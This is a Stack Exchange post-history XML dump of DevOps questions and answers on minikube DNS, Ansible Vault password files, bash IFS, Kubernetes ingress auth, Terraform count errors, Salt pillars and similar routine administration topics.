  <row Id="41034" PostHistoryTypeId="5" PostId="13331" RevisionGUID="edbf8a12-206e-44f8-a4a3-4c83fccb0bdb" CreationDate="2021-02-08T21:46:16.460" UserId="26006" Comment="edited body" Text="# SOLUTION&#xD;&#xA;&#xD;&#xA;Edit this file&#xD;&#xA;    &#xD;&#xA;    sudo nano /etc/NetworkManager/NetworkManager.conf&#xD;&#xA;&#xD;&#xA;Make it look like this&#xD;&#xA;&#xD;&#xA;    [main]&#xD;&#xA;    dns=dnsmasq&#xD;&#xA;&#xD;&#xA;Also create the file&#xD;&#xA;&#xD;&#xA;    sudo nano /etc/NetworkManager/dnsmasq.d/kube.conf&#xD;&#xA;&#xD;&#xA;Make it look like&#xD;&#xA;&#xD;&#xA;    # IMPORTANT: The ip must be the one from the output of the command:&#xD;&#xA;    # &quot;kubectl get pod -o wide --all-namespaces | grep coredns&quot;&#xD;&#xA;    # With this, any local host can be managed by kubernetes coreDNS.&#xD;&#xA;    server=/*/add.the.ip.here&#xD;&#xA;&#xD;&#xA;And restart your network service&#xD;&#xA;&#xD;&#xA;    sudo systemctl restart NetworkManager&#xD;&#xA;&#xD;&#xA;Re-Create your minikube and now you can access its entry point using the IP returned by:&#xD;&#xA;&#xD;&#xA;    minikube ip&#xD;&#xA;&#xD;&#xA;**Note**: I tried it using ingress, but should work with NodePort too.&#xD;&#xA;&#xD;&#xA;**Source (The guy was trying to do something a bit more advanced)**: https://blog.heptio.com/configuring-your-linux-host-to-resolve-a-local-kubernetes-clusters-service-urls-a8c7bdb212a7" ContentLicense="CC BY-SA 4.0" />
  <row Id="41035" PostHistoryTypeId="50" PostId="13047" RevisionGUID="7e765834-7a8d-4fb3-a393-4fad4d4e3f05" CreationDate="2021-02-08T22:04:10.380" UserId="-1" />
  <row Id="41036" PostHistoryTypeId="5" PostId="13331" RevisionGUID="723a59b7-b740-4e55-a3c1-b515c4bfa764" CreationDate="2021-02-08T23:00:07.113" UserId="26006" Comment="added 40 characters in body" Text="# WIP (This is not the solution, just experiments)&#xD;&#xA;&#xD;&#xA;Edit this file&#xD;&#xA;    &#xD;&#xA;    sudo nano /etc/NetworkManager/NetworkManager.conf&#xD;&#xA;&#xD;&#xA;Make it look like this&#xD;&#xA;&#xD;&#xA;    [main]&#xD;&#xA;    dns=dnsmasq&#xD;&#xA;&#xD;&#xA;Also create the file&#xD;&#xA;&#xD;&#xA;    sudo nano /etc/NetworkManager/dnsmasq.d/kube.conf&#xD;&#xA;&#xD;&#xA;Make it look like&#xD;&#xA;&#xD;&#xA;    # IMPORTANT: The ip must be the one from the output of the command:&#xD;&#xA;    # &quot;kubectl get pod -o wide --all-namespaces | grep coredns&quot;&#xD;&#xA;    # With this, any local host can be managed by kubernetes coreDNS.&#xD;&#xA;    server=/*/add.the.ip.here&#xD;&#xA;&#xD;&#xA;And restart your network service&#xD;&#xA;&#xD;&#xA;    sudo systemctl restart NetworkManager&#xD;&#xA;&#xD;&#xA;Re-Create your minikube and now you can access its entry point using the IP returned by:&#xD;&#xA;&#xD;&#xA;    minikube ip&#xD;&#xA;&#xD;&#xA;**Note**: I tried it using ingress, but should work with NodePort too.&#xD;&#xA;&#xD;&#xA;**Source (The guy was trying to do something a bit more advanced)**: https://blog.heptio.com/configuring-your-linux-host-to-resolve-a-local-kubernetes-clusters-service-urls-a8c7bdb212a7" ContentLicense="CC BY-SA 4.0" />
  <row Id="41037" PostHistoryTypeId="2" PostId="13332" RevisionGUID="860be5f0-fe06-422b-82fa-6d658e8d310d" CreationDate="2021-02-09T00:51:27.677" UserId="23543" Text="This afternoon I also struggled on this. I think I've understood it a little bit more so I'd like to share it. But I'm also new to Ansible Vault so what I say here may not be completely correct. I used [1] as my main source of learning.&#xD;&#xA;&#xD;&#xA;## What May Have Confused You&#xD;&#xA;&#xD;&#xA;[1] says a `vault ID` has the pattern `label@source`. But the symbol `@` delivers the meaning of &quot;inside&quot;, &quot;at&quot;, or &quot;of&quot; which makes people think a vault ID `test@password_file` means a line inside the file `password_file` with the label `test`.&#xD;&#xA;&#xD;&#xA;**But this is the gotcha**: according to my test, the **entire content** in `password_file` is used as the password. In your example above, the password **you think** is &quot;my_test_pass&quot;; but the password **Ansible Vault sees** is `dev my_dev_pass\ntest my_test_pass\nprod my_prod_pass` (note the white spaces and the End-of-Lines).&#xD;&#xA;&#xD;&#xA;Therefore, `test@file_path` does not select the line &quot;my_test_pass&quot;. It actually means the following:&#xD;&#xA;&#xD;&#xA;- At **encryption**, it means &quot;use the entire content in `file_path` as the password to encrypt the given message and marks the result with the label `test`&quot;.&#xD;&#xA;- At **decryption**, it means &quot;use the entire content in `file_path` as the password to decrypt everything that is marked with the label `test`&quot;.&#xD;&#xA;&#xD;&#xA;## Using Multiple Password Files&#xD;&#xA;&#xD;&#xA;Therefore, if you want to use different password files, you need to do it this way:&#xD;&#xA;&#xD;&#xA;- Create three files (I put them at different folders intentionally for demo): `~/pass_dev.txt`, `/tmp/pass_test.txt`, `./pass_prod.txt`.&#xD;&#xA;- Put the passwords into the correct files. Example: `my_dev_pass` into `pass_dev.txt`.&#xD;&#xA;- When you encrypt the file `my_dev_file.yml`, you have two options:&#xD;&#xA;  - You can specify just one vault ID: `ansible-vault encrypt --vault-id dev@~/pass_dev.txt my_dev_file.yml`&#xD;&#xA;  - You can specify multiple vault IDs but must also use `--encrypt-valut-id` to tell `ansible-vault` which one should actually be used to encrypt the file: `ansible-vault encrypt --vault-id dev@~/pass_dev.txt test@/tmp/pass_test.txt prod@./pass_prod.txt --encrypt-vault-id dev my_dev_file.yml`&#xD;&#xA;&#xD;&#xA;When you need to decrypt some content, you may or may not know what password the content was encrypted with. In this case, you can pass in all the possible vault IDs: `ansible-vault decrypt dev@~/pass_dev.txt test@/tmp/pass_test.txt prod@./pass_prod.txt some_encrypted_file.yml`. And vault will automatically figure out which password to use. This is talked about [in this section of [1]](https://docs.ansible.com/ansible/latest/user_guide/vault.html#passing-multiple-vault-passwords).&#xD;&#xA;&#xD;&#xA;This also explains why the `label` part is only used as a hint. In fact, you can pass in the vault IDs with completely wrong labels:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ansible-vault decrypt prod@~/pass_dev.txt dev@/tmp/pass_test.txt test@./pass_prod.txt some_encrypted_file.yml&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And `ansible-vault` is still able to decrypt the file, because, essentially, `ansible-vault` uses the `label` as the hint to see which password should be tried first. If it doesn't succeed, it tries the other passwords.&#xD;&#xA;&#xD;&#xA;But if you define the environment variable `ANSIBLE_VAULT_ID_MATCH`, `ansible-vault` will take the labels seriously and only try the passwords with matching labels, so the following will fail:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ANSIBLE_VAULT_ID_MATCH=1 ansible-vault decrypt prod@~/pass_dev.txt dev@/tmp/pass_test.txt test@./pass_prod.txt some_encrypted_file.yml&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## Other Things in Your Question&#xD;&#xA;&#xD;&#xA;I may not be completely correct in this part: I guess `ansible-vault` maintains an internal list of &quot;currently available vault IDs&quot;. If no `--vault-id` is present on the command line, the only available vault ID is `default`. When `--vault-id` arguments are given, the `default` is overridden by whatever is provided.&#xD;&#xA;&#xD;&#xA;Therefore, when you encrypted the target file using a `--vault-password-file`, without any other `--vault-id`, the only available vault ID was `default`. But by providing `--encrypt-vault-id=test` you were asking `ansible-vault` to encrypt the target file using a vault ID of &quot;test&quot; which was not available, hence the error &quot;Did not find a match&quot;.&#xD;&#xA;&#xD;&#xA;Later, when you provided `ansible-vault` with only `--vault-id abc@file_path` but asked it to encrypt the target file using `test`, `ansible-vault` still couldn't find the required vault ID, hence the error &quot;Did not find a match&quot; again.&#xD;&#xA;&#xD;&#xA;You made the mistake because you thought `test@file_path` selects one password from all the available passwords in `file_path`, so by providing one password file, you thought you had provided multiple passwords. But that doesn't seem to be how `ansible-vault` works. You need to provide multiple password files (or, technically, multiple password sources which could also be prompts and scripts).&#xD;&#xA;&#xD;&#xA;## References&#xD;&#xA;&#xD;&#xA;- [1] Ansible 2.10 (latest as of 2021-02-08) [Encrypting content with Ansible Vault](https://docs.ansible.com/ansible/latest/user_guide/vault.html)" ContentLicense="CC BY-SA 4.0" />
  <row Id="41038" PostHistoryTypeId="4" PostId="13330" RevisionGUID="3588ab8e-3551-4a2e-b3a5-565b6eef23a9" CreationDate="2021-02-09T01:19:27.290" UserId="7078" Comment="Added minikube as a tag and detagged title." Text="Ingress ip returns HTTP error DNS_PROBE_FINISHED_NXDOMAIN" ContentLicense="CC BY-SA 4.0" />
  <row Id="41039" PostHistoryTypeId="6" PostId="13330" RevisionGUID="3588ab8e-3551-4a2e-b3a5-565b6eef23a9" CreationDate="2021-02-09T01:19:27.290" UserId="7078" Comment="Added minikube as a tag and detagged title." Text="&lt;kubernetes&gt;&lt;ingress&gt;&lt;http&gt;&lt;minikube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41040" PostHistoryTypeId="24" PostId="13330" RevisionGUID="3588ab8e-3551-4a2e-b3a5-565b6eef23a9" CreationDate="2021-02-09T01:19:27.290" Comment="Proposed by 7078 approved by 26006 edit id of 1343" ContentLicense="CC BY-SA 4.0" />
  <row Id="41041" PostHistoryTypeId="12" PostId="13331" RevisionGUID="3222870b-e7dd-402b-95f9-045290706b53" CreationDate="2021-02-09T01:19:58.137" UserId="26006" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:26006,&quot;DisplayName&quot;:&quot;Adrian Lopez&quot;}]}" />
  <row Id="41042" PostHistoryTypeId="5" PostId="12927" RevisionGUID="375425de-f389-4243-aead-dfd358edb9e4" CreationDate="2021-02-09T07:14:36.233" UserId="25010" Comment="added 563 characters in body" Text="**Update**: As @yaobin pointed out. It appears they removed the part about the multiple passwords being in a single file. It was here as can be seen from web archive:  &#xD;&#xA;https://web.archive.org/web/20201202040251/https://docs.ansible.com/ansible/latest/user_guide/vault.html  &#xD;&#xA;But now it is gone:  &#xD;&#xA;https://web.archive.org/web/20210128225633/https://docs.ansible.com/ansible/latest/user_guide/vault.html  &#xD;&#xA;So I am not sure if this problem can be solved anymore the way that was described in the manual at the time. It was apparently a manual bug :( &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The manual says at storing passwords in files section:&#xD;&#xA;&#xD;&#xA;&gt; To store a vault password in a file, enter the password as a string on&#xD;&#xA;&gt; a single line in the file. Make sure the permissions on the file are&#xD;&#xA;&gt; appropriate. Do not add password files to source control. If you have&#xD;&#xA;&gt; multiple passwords, you can store them all in a single file, as long&#xD;&#xA;&gt; as they all have vault IDs. For each password, create a separate line&#xD;&#xA;&gt; and enter the vault ID, a space, then the password as a string. For&#xD;&#xA;&gt; example:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and there is an example:&#xD;&#xA;```&#xD;&#xA;dev my_dev_pass&#xD;&#xA;test my_test_pass&#xD;&#xA;prod my_prod_pass&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However there is no usage exampes for this file. I tried many different ways. If I use `--vault-password-file` the `ansible-vault` sees only `default` entry independent of the number of entries in file. With `--encrypt-vault-id=test` I get:&#xD;&#xA;```&#xD;&#xA;ERROR! Did not find a match for --encrypt-vault-id=test in the known vault-ids ['default']&#xD;&#xA;```&#xD;&#xA;If I use `--vault-id abc@file_path` with `--encrypt-vault-id=test` then I get error&#xD;&#xA;```&#xD;&#xA;ERROR! Did not find a match for --encrypt-vault-id=test in the known vault-ids ['abc']&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What is the purpose of the password file described in the Ansible manual and how does one use it?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="41043" PostHistoryTypeId="2" PostId="13333" RevisionGUID="49ab6ae0-cee1-405b-b10a-6a35710592b3" CreationDate="2021-02-09T11:35:56.463" UserId="23509" Text="An elegant way is to use **IFS environment variable** to define a *delimiter* when assigning a string list to array.&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;IFS=&quot;,&quot; SERVERS=($SERVERS) #BTW, no need to declare a new variable, just reassign&#xD;&#xA;&#xD;&#xA;for SERVER in ${SERVERS[@]} &#xD;&#xA;do &#xD;&#xA;   echo $SERVER&#xD;&#xA;done&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41044" PostHistoryTypeId="5" PostId="13333" RevisionGUID="0f7b8aae-709c-493f-ba8f-b7e7bc234b42" CreationDate="2021-02-09T11:42:28.840" UserId="23509" Comment="what IFS stands for" Text="An elegant way is to use **IFS environment variable** (Internal Field Separator) to define a *delimiter* when assigning a string list to array.&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;IFS=&quot;,&quot; SERVERS=($SERVERS) #BTW, no need to declare a new variable, just reassign&#xD;&#xA;&#xD;&#xA;for SERVER in ${SERVERS[@]} &#xD;&#xA;do &#xD;&#xA;   echo $SERVER&#xD;&#xA;done&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41045" PostHistoryTypeId="5" PostId="1138" RevisionGUID="730d132d-3f29-45f8-af2f-c51ae4982319" CreationDate="2021-02-09T14:07:44.433" UserId="7078" Comment="Remove cruft" Text="If your client is ready to invest money then you should go with Docker enterprise edition. In Docker EE you have one tool that is `UCP(Universal Control Plane)` [UCP][1]. By UCP you can create roles and access rights and restrict the user to change/modify containers.&#xD;&#xA;&#xD;&#xA;If you want to test UCP than DDC(Docker Data Center) having one month trial license which will help you to elaborate the things as per your requirements.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/datacenter/ucp/1.1/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41046" PostHistoryTypeId="24" PostId="1138" RevisionGUID="730d132d-3f29-45f8-af2f-c51ae4982319" CreationDate="2021-02-09T14:07:44.433" Comment="Proposed by 7078 approved by 40 edit id of 1342" ContentLicense="CC BY-SA 4.0" />
  <row Id="41047" PostHistoryTypeId="2" PostId="13334" RevisionGUID="d846e380-25a9-47b0-9864-78dfe277588b" CreationDate="2021-02-09T14:40:44.917" UserId="25822" Text="Currently I have a webpage which is freely accessible from certain networks an requires HTTP basic auth otherwise. This behaviour is set in the nginx config. It looks something like this:&#xD;&#xA;```&#xD;&#xA;geo $authentication {&#xD;&#xA;    default &quot;Authentication required&quot;;&#xD;&#xA;    SOME-IP &quot;off&quot;;&#xD;&#xA;    SOME-NETWORK1 &quot;off&quot;;&#xD;&#xA;    SOME-NETWORK2 &quot;off&quot;; &#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;auth_basic $authentication;&#xD;&#xA;...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now I want to move this webpage to a k8s cluster under ingress-nginx ingress controller. As I can see from the docs it has support for basic auth but provides no ways to allow access from specific ips/networks. Is there a way/another ingress controller/tool to configure said behaviour?  " ContentLicense="CC BY-SA 4.0" />
  <row Id="41048" PostHistoryTypeId="1" PostId="13334" RevisionGUID="d846e380-25a9-47b0-9864-78dfe277588b" CreationDate="2021-02-09T14:40:44.917" UserId="25822" Text="Disabling HTTP Basic auth for requests from specific ips in k8s ingress" ContentLicense="CC BY-SA 4.0" />
  <row Id="41049" PostHistoryTypeId="3" PostId="13334" RevisionGUID="d846e380-25a9-47b0-9864-78dfe277588b" CreationDate="2021-02-09T14:40:44.917" UserId="25822" Text="&lt;kubernetes&gt;&lt;nginx&gt;&lt;ingress&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41050" PostHistoryTypeId="2" PostId="13335" RevisionGUID="b46e6b42-414f-4dc4-9ebe-a6928c9a7060" CreationDate="2021-02-09T14:40:55.873" UserId="17246" Text="It was a simple mistake I made when I register `gitlab-runner`. I just used `gitlab-runner register [options]`&#xD;&#xA;&#xD;&#xA;But when I register it with `sudo`, it was working properly.&#xD;&#xA;&#xD;&#xA;`sudo gitlab-runner register [option]`&#xD;&#xA;&#xD;&#xA;Runner is running in `Ubuntu-18.04` server." ContentLicense="CC BY-SA 4.0" />
  <row Id="41051" PostHistoryTypeId="2" PostId="13336" RevisionGUID="e773b5d9-6b45-4022-b6c1-7066d95a3c33" CreationDate="2021-02-09T16:57:02.627" UserId="11411" Text="I am installing opensource kubeadm in google cloud platform using k8s configuration files. As part of the installation, i updated the cloudprovider values as gce in initconfiguration, apiserver and conroller manager.&#xD;&#xA;I created cloud-config file with GCE project name and updated this path in kubelet configuration file.&#xD;&#xA;&#xD;&#xA;After running the job, all the kubernetes node are joined in the cluster. But the master nodes are tainted as &quot;node.kubernetes.io/network-unavailable&quot;.&#xD;&#xA;&#xD;&#xA;If i change the cloud provider as &quot;external&quot;, all the master nodes came up and tainted properly.&#xD;&#xA;&#xD;&#xA;Please let me know, how to pass the cloud provider value as gcp?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41052" PostHistoryTypeId="1" PostId="13336" RevisionGUID="e773b5d9-6b45-4022-b6c1-7066d95a3c33" CreationDate="2021-02-09T16:57:02.627" UserId="11411" Text="kubeadm installation issue in google cloud platform" ContentLicense="CC BY-SA 4.0" />
  <row Id="41053" PostHistoryTypeId="3" PostId="13336" RevisionGUID="e773b5d9-6b45-4022-b6c1-7066d95a3c33" CreationDate="2021-02-09T16:57:02.627" UserId="11411" Text="&lt;kubernetes&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41054" PostHistoryTypeId="2" PostId="13337" RevisionGUID="a1b33d15-6277-49e7-8ff2-7428a781b280" CreationDate="2021-02-09T18:28:50.637" UserId="26020" Text="I added a pieace of code to support enable/disable to the feature - I used the count&#xD;&#xA;however now I have the following problem:&#xD;&#xA;&#xD;&#xA;ERROR:&#xD;&#xA;on modules/eventhub/main.tf line 110, in resource &quot;azurerm_eventhub&quot; &quot;events&quot;:&#xD;&#xA;&#xD;&#xA; 110:   namespace_name      = azurerm_eventhub_namespace.eventhub.*.name&#xD;&#xA;    |----------------&#xD;&#xA;    | azurerm_eventhub_namespace.eventhub is tuple with 1 element&#xD;&#xA;&#xD;&#xA;Inappropriate value for attribute &quot;namespace_name&quot;: string required.&#xD;&#xA;&#xD;&#xA;----------------&#xD;&#xA;**Code:**&#xD;&#xA;# Create EventHub namespace&#xD;&#xA;resource &quot;azurerm_eventhub_namespace&quot; &quot;eventhub&quot; {&#xD;&#xA;&#xD;&#xA;  count               = var.enable_eh ? 1 : 0&#xD;&#xA;&#xD;&#xA;  name                  = &quot;${var.name}-ns&quot;&#xD;&#xA;&#xD;&#xA;  location              = var.location&#xD;&#xA;&#xD;&#xA;  resource_group_name   = var.resource_group&#xD;&#xA;&#xD;&#xA;  sku                   = var.sku&#xD;&#xA;&#xD;&#xA;  capacity              = var.capacity&#xD;&#xA;&#xD;&#xA;  dedicated_cluster_id = azurerm_eventhub_cluster.eventhub[count.index].id #for eventHub Cluster&#xD;&#xA;&#xD;&#xA;  auto_inflate_enabled     = var.auto_inflate != null ? var.auto_inflate.enabled : null&#xD;&#xA;&#xD;&#xA;  maximum_throughput_units = var.auto_inflate != null ? var.auto_inflate.maximum_throughput_units : null&#xD;&#xA;&#xD;&#xA;   dynamic &quot;network_rulesets&quot; {&#xD;&#xA;&#xD;&#xA;    for_each = var.network_rules != null ? [&quot;true&quot;] : []&#xD;&#xA;&#xD;&#xA;    content {&#xD;&#xA;&#xD;&#xA;      default_action = &quot;Deny&quot;&#xD;&#xA;&#xD;&#xA;      dynamic &quot;ip_rule&quot; {&#xD;&#xA;&#xD;&#xA;        for_each = var.network_rules.ip_rules&#xD;&#xA;&#xD;&#xA;        iterator = iprule&#xD;&#xA;&#xD;&#xA;        content {&#xD;&#xA;&#xD;&#xA;          ip_mask = iprule.value&#xD;&#xA;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;      dynamic &quot;virtual_network_rule&quot; {&#xD;&#xA;&#xD;&#xA;        for_each = var.network_rules.subnet_ids&#xD;&#xA;&#xD;&#xA;        iterator = subnet&#xD;&#xA;&#xD;&#xA;        content {&#xD;&#xA;&#xD;&#xA;          subnet_id = subnet.value&#xD;&#xA;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  tags = var.tags&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;azurerm_eventhub_namespace_authorization_rule&quot; &quot;events&quot; {&#xD;&#xA;&#xD;&#xA;  for_each            = local.authorization_rules&#xD;&#xA;&#xD;&#xA;  name                = each.key&#xD;&#xA;&#xD;&#xA;  namespace_name      = azurerm_eventhub_namespace.eventhub.*.name&#xD;&#xA;&#xD;&#xA;  resource_group_name = var.resource_group&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  listen = each.value.listen&#xD;&#xA;&#xD;&#xA;  send   = each.value.send&#xD;&#xA;&#xD;&#xA;  manage = each.value.manage&#xD;&#xA;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;azurerm_eventhub&quot; &quot;events&quot; {&#xD;&#xA;&#xD;&#xA;  for_each            = local.hubs&#xD;&#xA;&#xD;&#xA;  name                = each.key&#xD;&#xA;&#xD;&#xA;  **namespace_name      = azurerm_eventhub_namespace.eventhub.*.name  &lt;------ problematic line**&#xD;&#xA;&#xD;&#xA;  resource_group_name = var.resource_group&#xD;&#xA;&#xD;&#xA;  partition_count     = each.value.partitions&#xD;&#xA;&#xD;&#xA;  message_retention   = each.value.message_retention&#xD;&#xA;&#xD;&#xA;}&#xD;&#xA;------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I dont know what the issue here.." ContentLicense="CC BY-SA 4.0" />
  <row Id="41055" PostHistoryTypeId="1" PostId="13337" RevisionGUID="a1b33d15-6277-49e7-8ff2-7428a781b280" CreationDate="2021-02-09T18:28:50.637" UserId="26020" Text="Enable/disable resource in terraform using count" ContentLicense="CC BY-SA 4.0" />
  <row Id="41056" PostHistoryTypeId="3" PostId="13337" RevisionGUID="a1b33d15-6277-49e7-8ff2-7428a781b280" CreationDate="2021-02-09T18:28:50.637" UserId="26020" Text="&lt;terraform&gt;&lt;azure&gt;&lt;cloud&gt;&lt;terraform-module&gt;&lt;variables&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41057" PostHistoryTypeId="2" PostId="13338" RevisionGUID="653a03fd-4059-414e-b4fb-794c9018599f" CreationDate="2021-02-09T19:16:34.280" UserId="6275" Text="I am attempting to setup blue/green deployment in our production environment. I cannot seem to find any documentation on this being done using cloudflare loadbalancer except the document regarding workers. We have five windows nodes now and would add an additional five most likely to accomplish this. Any help would be appreciated. Perhaps setting up two pools in the load balancer and switching between them using the api? On the deployment end we are using Octopus deploy and it seems pretty straight forward. " ContentLicense="CC BY-SA 4.0" />
  <row Id="41058" PostHistoryTypeId="1" PostId="13338" RevisionGUID="653a03fd-4059-414e-b4fb-794c9018599f" CreationDate="2021-02-09T19:16:34.280" UserId="6275" Text="How can i setup Blue/Green deployment using Cloudflare loadbalancer" ContentLicense="CC BY-SA 4.0" />
  <row Id="41059" PostHistoryTypeId="3" PostId="13338" RevisionGUID="653a03fd-4059-414e-b4fb-794c9018599f" CreationDate="2021-02-09T19:16:34.280" UserId="6275" Text="&lt;bluegreen&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41060" PostHistoryTypeId="2" PostId="13339" RevisionGUID="833a116f-56fc-4d5c-8f94-e835529fd60b" CreationDate="2021-02-09T20:22:24.417" UserId="26024" Text="I have SQL Server running on docker and did the setup using the following :&#xD;&#xA;&#xD;&#xA;https://www.quackit.com/sql_server/mac/install_sql_server_on_a_mac.cfm&#xD;&#xA;&#xD;&#xA;Then I setup Kerberos on local using the following :&#xD;&#xA;&#xD;&#xA;https://www.thetechnojournals.com/2019/12/setting-up-kerberos-in-mac-os-x.html&#xD;&#xA;&#xD;&#xA;My DB client is DBEAVER - I can authenticate using the normal authentication and access the sql server, now I want to authenticate using kerberos how do I do that?&#xD;&#xA;&#xD;&#xA;any help is highly appreciated&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41061" PostHistoryTypeId="1" PostId="13339" RevisionGUID="833a116f-56fc-4d5c-8f94-e835529fd60b" CreationDate="2021-02-09T20:22:24.417" UserId="26024" Text="Test Kerberos, SQL Server running on Docker on local MAC" ContentLicense="CC BY-SA 4.0" />
  <row Id="41062" PostHistoryTypeId="3" PostId="13339" RevisionGUID="833a116f-56fc-4d5c-8f94-e835529fd60b" CreationDate="2021-02-09T20:22:24.417" UserId="26024" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41063" PostHistoryTypeId="2" PostId="13340" RevisionGUID="12805705-7849-4625-b1d6-988d8283138c" CreationDate="2021-02-09T21:13:32.603" UserId="26025" Text="I'm using GCP with a Mysql 5.7 Cloud SQL instances. I have a VM which reads/writes data with the instance.&#xD;&#xA;&#xD;&#xA;My operations (a PHP script which reads and writes to the database) do not seem to have an obvious bottleneck limiting their speed, so I can't figure out why it won't go faster.&#xD;&#xA;&#xD;&#xA;The metrics on the VM - cpu/memory/network bandwidth - are all much lower than their limits. Same for the Cloud SQL instance:&#xD;&#xA;&#xD;&#xA;**Cloud SQL Instance**&#xD;&#xA;```&#xD;&#xA;CPU Utilization: 40%&#xD;&#xA;Queries/Questions per second: 2500&#xD;&#xA;Memory usage: ~1GB (of 3.75GB)&#xD;&#xA;Read/Write operations: 15/s cumulative&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**VM** (n1-standard-1 (1 vCPU, 3.75 GB memory))&#xD;&#xA;```&#xD;&#xA;CPU Utilization: 20%&#xD;&#xA;Memory usage: 600MB (of 3.75GB)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Network throughput: ~3.75MB/s (30Mb/s)**&#xD;&#xA;&#xD;&#xA;The SQL instance should be able to do about 14MB/s according to GCP (depending on machine type and disk size, this is for my specific box). I see no other obvious limitations so I would love some help figuring out how to increase performance." ContentLicense="CC BY-SA 4.0" />
  <row Id="41064" PostHistoryTypeId="1" PostId="13340" RevisionGUID="12805705-7849-4625-b1d6-988d8283138c" CreationDate="2021-02-09T21:13:32.603" UserId="26025" Text="How can I pinpoint a bottleneck to optimize database queries?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41065" PostHistoryTypeId="3" PostId="13340" RevisionGUID="12805705-7849-4625-b1d6-988d8283138c" CreationDate="2021-02-09T21:13:32.603" UserId="26025" Text="&lt;google-cloud-platform&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41066" PostHistoryTypeId="2" PostId="13341" RevisionGUID="9fc32a02-ff5f-451a-8439-3dd2191239ed" CreationDate="2021-02-09T23:14:44.357" UserId="26027" Text="This is salt 101 I think, but I'm really a salt N00b and need assistance.&#xD;&#xA;&#xD;&#xA;I need to disable specific services on all of our servers by default, but I need to create a pillar that allows me to override this, and allow the specific servers mentioned in pillar to have those services running.  For the sake of discussion, let's assume the service is httpd.&#xD;&#xA;&#xD;&#xA;Currently I have a VERY simple state named &quot;disable_httpd.sls&quot; that says this...&#xD;&#xA;```&#xD;&#xA;{% from &quot;security/map.jinja&quot; import security with context %}&#xD;&#xA;stop and disable httpd-server:&#xD;&#xA;  service.dead:&#xD;&#xA;    - name: httpd&#xD;&#xA;    - enable: False&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now we do have a few web servers where we need to allow it, and obviously my state, which is called as part of our security items, will break those servers.&#xD;&#xA;&#xD;&#xA;I need to figure out how to write a pillar that will exempt specific servers.&#xD;&#xA;&#xD;&#xA;Thoughts?&#xD;&#xA;&#xD;&#xA;----------------&#xD;&#xA;Update: Here's what I have tried so far, but it's not working.&#xD;&#xA;&#xD;&#xA;Note that this is being tried in a lab, and the system I'm playing with is named &quot;saltminion1.local&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1) Changed the state (disable_httpd.sls) to say this...&#xD;&#xA;```&#xD;&#xA;{% from &quot;security/map.jinja&quot; import security with context %}&#xD;&#xA;&#xD;&#xA;{% set allow_httpd = salt['pillar.get']('security:options:allow_httpd', &quot;&quot;) %}&#xD;&#xA;{% if &quot;True&quot; in allow_httpd and allow_httpd is string %}&#xD;&#xA;Make sure httpd service is running:&#xD;&#xA;  service.enabled:&#xD;&#xA;    - name: httpd&#xD;&#xA;&#xD;&#xA;{% else %}&#xD;&#xA;&#xD;&#xA;stop and disable httpd:&#xD;&#xA;  service.dead:&#xD;&#xA;    - name: httpd&#xD;&#xA;    - enable: False&#xD;&#xA;&#xD;&#xA;{% endif %}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then in pillar I created a file named &quot;saltminion1.sls&quot; in the &quot;security&quot; directory.&#xD;&#xA;```&#xD;&#xA;security:&#xD;&#xA;  options:&#xD;&#xA;    allow_httpd: 'True'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I modified pillar/top.sls to add this section...&#xD;&#xA;```&#xD;&#xA;prod:&#xD;&#xA;  'saltminion1.local':&#xD;&#xA;    - match: nodegroup&#xD;&#xA;    - security.saltminion1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The thought is that it should pick up the &quot;True&quot; in the saltminion1.sls pillar file, and allow httpd.  What it's actually doing is the &quot;else&quot; section of the state, and killing the service." ContentLicense="CC BY-SA 4.0" />
  <row Id="41067" PostHistoryTypeId="1" PostId="13341" RevisionGUID="9fc32a02-ff5f-451a-8439-3dd2191239ed" CreationDate="2021-02-09T23:14:44.357" UserId="26027" Text="Salt - Need state to check pillar and perform a if/else check" ContentLicense="CC BY-SA 4.0" />
